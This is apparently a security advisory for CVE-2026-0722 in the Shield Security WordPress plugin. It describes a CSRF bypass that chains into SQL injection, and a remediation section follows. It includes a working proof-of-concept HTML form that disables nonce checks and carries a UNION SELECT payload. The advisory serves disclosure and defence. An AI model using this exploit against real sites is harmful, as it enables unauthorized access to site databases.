CVE-2026-0722 – Shield Security – CSRF to SQLi – POC

CVE-2026-0722 affects Shield Security and covers a CSRF bypass that can be chained into SQL injection in versions up to and including 21.0.8. The vulnerable AJAX flow can be reached through wp-admin/admin-ajax.php with action=shield_action and ex=traffictable_action, where a forged request can disable nonce verification through action_overrides[is_nonce_verify_required]=0. If an administrator is tricked into submitting the request, attacker controlled traffic table filters can reach SQL query construction and expose sensitive database data. In environments where the database user can write files to a web path, this primitive can become a path toward remote code execution, but that step depends on server and database configuration.

CVE	CVE-2026-0722
Plugin Version	Shield Security <= 21.0.8, fixed in 21.0.10
All Time	12 732 247
Active installations	40 000+
Publicly Published	February 18, 2026
Last Updated	February 19, 2026
Researcher	Dmitrii Ignatyev
PoC	Yes
Exploit	No
Reference	https://www.cve.org/CVERecord?id=CVE-2026-0722 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-simple-firewall/shield-security-2108-cross-site-request-forgery-to-sql-injection
Plugin Security Certification by CleanTalk
Logo of the plugin

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

Get Plugin Security Certificate

PSC by Cleantalk

Timeline

Discovery of the Vulnerability

The vulnerable surface is the Shield Security AJAX action handler used by the traffic table. The request goes to wp-admin/admin-ajax.php with action=shield_action, ex=traffictable_action, and sub_action=retrieve_table_data. The key issue is that the action framework accepts a user supplied override for nonce verification. By setting action_overrides[is_nonce_verify_required]=0, a forged request can reach the table retrieval logic without the expected CSRF protection. The attacker controlled value in table_data[searchPanes][offense][] is then used in SQL query construction without strict parameterization or a narrow whitelist for the offense filter.

That combination creates a practical chain. The attacker does not need a WordPress account, but the forged request must be sent by a browser that is already authenticated to the target site with enough access to reach the Shield traffic table endpoint. Once the request reaches the vulnerable logic, the SQL injection primitive can be used to read data from the database. In less common but higher impact deployments, database file output permissions can turn the same primitive into a file write path. That RCE outcome depends on database account privileges, web server paths, and restrictions such as secure_file_priv.

Understanding of CSRF to SQL Injection attacks

CSRF issues in WordPress are usually about trust in the browser rather than trust in the attacker. A malicious page can cause a logged in user to submit a request to a site where that user already has cookies. Nonces and capability checks are the normal controls that stop this class of attack. In this case, the risky design is the ability to switch nonce verification off through request data. That turns a protected administrative AJAX action into a target for a forged POST request.

SQL injection becomes the second stage of the chain. The traffic table accepts structured filter values and turns them into database conditions. If those values are concatenated into query fragments or accepted without a strict allowlist, an attacker can alter the meaning of the SQL statement. The realistic impact is sensitive data exposure. Site owners should also consider hardening database privileges because reducing the database user to the minimum required rights can stop a read primitive from becoming a server side file write.

Exploiting the CSRF to SQL Injection Vulnerability

To exploit CVE-2026-0722, an attacker prepares a page that submits a forged POST request while an administrator is logged in. The PoC below uses a marker based UNION SELECT payload. It does not write files and does not deploy code.

POC:

POC:
<form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="shield_action">
  <input type="hidden" name="ex" value="traffictable_action">
  <input type="hidden" name="action_overrides[is_nonce_verify_required]" value="0">
  <input type="hidden" name="sub_action" value="retrieve_table_data">
  <input type="hidden" name="table_data[draw]" value="1">
  <input type="hidden" name="table_data[start]" value="0">
  <input type="hidden" name="table_data[length]" value="110">
  <input type="hidden" name="table_data[searchPanes][offense][]" value="-8766') UNION ALL SELECT 83,83,83,83,83,CONCAT(0x7178627871,0x4168626b55786a647a5856546366526a66726858694851795a55557a634f4f645a4f6e4a6e65786b,0x716b6b7671),83,83,83,83,83-- -">
  <input type="submit" value="Submit request">
</form>

The marker in the response confirms that the offense filter value influenced SQL selection. A destructive proof should not be used on production systems. The file write and RCE scenario should be treated as conditional impact because it requires database FILE privileges or an equivalent file output path and a web accessible location where PHP can execute.

Recommendations for Improved Security

Site owners should update Shield Security to version 21.0.10 or newer. If immediate updating is not possible, access to administrative Shield pages should be limited to trusted administrators and admin sessions should be kept separate from normal browsing. Database users should not have file output privileges unless there is a clear operational requirement.

Developers should not allow request parameters to disable nonce verification. Any action override should be enforced server side and tied to trusted code paths only. The traffic table filters should be validated against strict allowlists, and every dynamic SQL value should be bound through prepared statements. CSRF protection, capability checks, input validation, and database privilege boundaries should all be expected to work independently.

WordPress security work is strongest when exploit chains are reduced at every layer. Treat CSRF protections, query parameterization, and database file privileges as separate controls that should all hold under pressure.

#WordPressSecurity #CSRF #SQLInjection #WebsiteSafety #StayProtected

Use CleanTalk solutions to improve the security of your website